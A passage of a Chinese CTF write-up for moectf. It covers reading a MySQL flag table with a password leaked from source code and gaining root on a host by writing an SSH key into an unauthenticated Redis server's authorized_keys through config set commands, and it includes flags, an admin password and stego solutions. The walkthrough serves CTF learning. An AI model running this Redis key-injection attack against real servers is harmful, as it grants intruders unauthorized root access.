cursor . execute (sql, username)
res = cursor . fetchall ()
return res [ 0 ] [ 0 ]
def deleteMessage ( username , pubTime ):
with Database () as (db , cursor) :
sql = 'delete from message where username= %s and time= %s '
cursor . execute (sql,(username,pubTime))
db . commit ()
return True
查看源码可以得到以下内容
密码 - The_P0sswOrD_Y0u_Nev3r_Kn0w
通过我们搭建的内网渗透访问 <nsp服务端 IP>:3309
用以上获得的账号密码登录就能进入 MySQL,可以发现 messageboard
库中存在表名 flag
,flag
表存在字段 flag
,内容如下
Copy -Are-YOu-myS0L-MasT3r?-
0x05 获取 flag3
https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#redis-rce
由于上面已经完成了映射,通过访问 <nsp服务端 IP>:6379
即可。先通过 ssh-keygen
生成一个密钥作为 SSH 登录凭证,如下所示
Copy $ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa):
Enter passphrase (empty for no passphrase ):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:X8dvPV1NJ0H8CDFyeFDBvsAHPtmiQjf5UY91+r0hTHY kali@kali
The key 's randomart image is:
+---[RSA 3072]----+
| o=*=o |
| oo=.o..|
| + B =.=o|
| . + O =++E+|
| . .S+ *=.+.+|
| . .....+ o*|
| . . ..B|
| o.|
| |
+----[SHA256]-----+
然后将登录凭证写入到一个文本中,并作为 ssh_key 参数的值存进去,
Copy $ (echo -e "\n\n" ; cat ~/.ssh/id_rsa.pub ; echo -e "\n\n" ) > spaced_key.txt
$ cat spaced_key.txt | redis-cli -h 20.2.216.21 -p 6379 -x set ssh_key
OK
通过 redis-cli 连接修改 SSH 如下所示,
Copy $ redis-cli -h < nsp服务端 I P > -p 6379
nsp服务端 IP:637 9> config set dir /root/.ssh/
OK
nsp服务端 IP:637 9> config set dbfilename "authorized_keys"
OK
nsp服务端 IP:637 9> save
OK
nsp服务端 IP:637 9>
最后用 ssh 连进去获得 flag 即可,如下所示。
Copy $ ssh -i ~/.ssh/id_rsa root@ < nsp服务端 I P > -p 2222
Linux e4b99e72207b 5.15.0-71-generic #78-Ubuntu SMP Tue Apr 18 09:00:29 UTC 2023 x86_64
The programs included with the Debian GNU/Linux system are free software ;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Aug 30 08:09:50 2023 from 172.20.0.4
root@e4b99e72207b:~# ls
root@e4b99e72207b:~# cd /
root@e4b99e72207b:/# ls
bin data etc home lib32 libx32 mnt proc run srv sys usr
boot dev flag lib lib64 media opt root sbin start.sh tmp var
root@e4b99e72207b:/# cat flag
Congratulations!!!
You beat this moeworld~
You need to protect your redis, even if it 's on the intranet.
This is the third part of the flag
P@sSW0Rd-F0r-redis-Is-NeceSsary}
0x06 结果 & 其他
将三段 flag 拼起来就可以得到完整的 flag 如下
Copy moectf{Information-leakage-Is-dangerous!-Are-YOu-myS0L-MasT3r?-P@sSW0Rd-F0r-redis-Is-NeceSsary}
通过查看数据库中的 users
表可以看到 admin
的密码为 SecurityP@sSw0Rd
。
Misc
入门指北
base64 解码就可以得到 flag。
Copy moectf{h@v3_fun_@t_m15c_!}
狗子(1) 普通的猫
用 010 打开 flag 就在末尾。
moectf{eeeez_f1ag_as_A_G1ft!}
狗子(2) 照片
需要增加下 ruby 的堆栈大小限制
Copy $ export RUBY_THREAD_VM_STACK_SIZE= 500000000
$ zsteg bincat_hacked.png
b1,bgr,lsb,xy .. < wbStego size=132, data= "|\xB4\xCBmR\x83m\xB1]\x18" ..., even= false , enc= "wbStego 2.x/3.x" , mix= true , controlbyte= "\xCF" >
b1,rgba,lsb,xy .. text: "moectf{D0ggy_H1dd3n_1n_Pho7o_With_LSB!}\n"
b2,a,msb,xy .. file: VISX image file
b2,rgb,lsb,xy .. text: "{R3s0.\tL"
b2,rgba,msb,xy .. text: "qFDTAQTDl"
b2,abgr,msb,xy .. text: "=3iO{%y9/"
b3,r,msb,xy .. text: "$&]K%Hb$E"
b4,r,lsb,xy .. text: "eDwd\"GeS'"
b4,g,lsb,xy .. text: "eDwdDieS'"
b4,b,lsb,xy .. text: "dEBFUWuS"
b4,rgb,lsb,xy .. text: "2#5DgeU#'vgj"
b4,bgr,lsb,xy .. text: "43$EgeU#&wgk"
b4,rgba,lsb,xy .. text: "gnD_D_#>"
b4,rgba,msb,xy .. text: "~{sssQu5s5ubvbr"
b4,abgr,msb,xy .. text: "7SWSg&'&"
狗子(3) 寝室
Copy import os
import subprocess
import tarfile
import zipfile
import rarfile
EXTRACT_DIR = "./unpacked"
if not os . path . exists